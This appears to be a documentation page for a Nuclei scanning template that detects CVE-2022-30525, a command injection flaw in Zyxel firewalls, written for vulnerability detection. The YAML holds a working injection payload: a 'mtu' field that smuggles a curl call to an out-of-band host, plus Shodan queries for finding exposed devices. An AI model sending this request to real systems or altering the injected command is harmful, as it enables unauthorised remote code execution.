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Zyxel Firewall - OS Command Injection

ID: CVE-2022-30525

Severity: critical

Author: h1ei1,prajiteshsingh

Tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce

Description

Section titled “Description”

An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

YAML Source

Section titled “YAML Source”
id: CVE-2022-30525


info:
  name: Zyxel Firewall - OS Command Injection
  author: h1ei1,prajiteshsingh
  severity: critical
  description: |
    An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
    - https://github.com/rapid7/metasploit-framework/pull/16563
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30525
    - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-30525
    cwe-id: CWE-78
    epss-score: 0.97472
    epss-percentile: 0.99965
    cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: usg_flex_100w_firmware
    shodan-query:
      - title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
      - http.title:"usg flex 100","usg flex 100w","usg flex 200","usg flex 500","usg flex 700","usg flex 50","usg flex 50w","atp100","atp200","atp500","atp700"
  tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce


http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: status
        status:
          - 500
# digest: 4b0a00483046022100f40a676ef260e693264487ef113d585c5b8d62a708d3bd3d3426013b312d25de0221008162068e7b8baf945e1072386a391351a971f592cb7e304a38021f1d509f3135:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-30525.yaml"

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